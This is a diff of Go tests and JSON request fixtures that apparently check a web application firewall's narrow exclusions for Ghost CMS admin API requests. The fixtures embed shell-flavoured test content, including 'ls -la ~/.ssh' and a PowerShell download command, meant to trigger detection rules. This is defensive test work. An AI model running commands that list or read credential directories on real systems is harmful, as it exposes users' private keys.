targetHandle = `{"targetHandle":"@powershell@example.com"}`
|
||||||
domain = `{"domain":"python3.example.com"}`
|
domain = `{"domain":"python3.example.com"}`
|
||||||
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
|
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
|
||||||
|
tagURL = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}`
|
||||||
)
|
)
|
||||||
|
|
||||||
for _, refused := range []struct{ target, body string }{
|
for _, refused := range []struct{ target, body string }{
|
||||||
@@ -935,12 +999,16 @@ func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
|||||||
{ghostInvitation + "?json.invitation.0.email=x", accepted},
|
{ghostInvitation + "?json.invitation.0.email=x", accepted},
|
||||||
{ghostMigration, sourceHandle},
|
{ghostMigration, sourceHandle},
|
||||||
{ghostAliases + "?json.sourceHandle=x", sourceHandle},
|
{ghostAliases + "?json.sourceHandle=x", sourceHandle},
|
||||||
|
{ghostMigration, actorURI},
|
||||||
|
{ghostAliases + "?json.actorUri=x", actorURI},
|
||||||
{ghostAliases, targetHandle},
|
{ghostAliases, targetHandle},
|
||||||
{ghostMigration + "?json.targetHandle=x", targetHandle},
|
{ghostMigration + "?json.targetHandle=x", targetHandle},
|
||||||
{ghostAccount, domain},
|
{ghostAccount, domain},
|
||||||
{ghostDomain + "?json.domain=x", domain},
|
{ghostDomain + "?json.domain=x", domain},
|
||||||
{ghostPosts, tagCode},
|
{ghostPosts, tagCode},
|
||||||
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
|
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
|
||||||
|
{ghostPosts, tagURL},
|
||||||
|
{ghostTags + "?json.tags.0.canonical_url=x", tagURL},
|
||||||
} {
|
} {
|
||||||
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
||||||
|
|
||||||
|
|||||||
+3
-1
@@ -533,6 +533,8 @@
|
|||||||
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||||
|
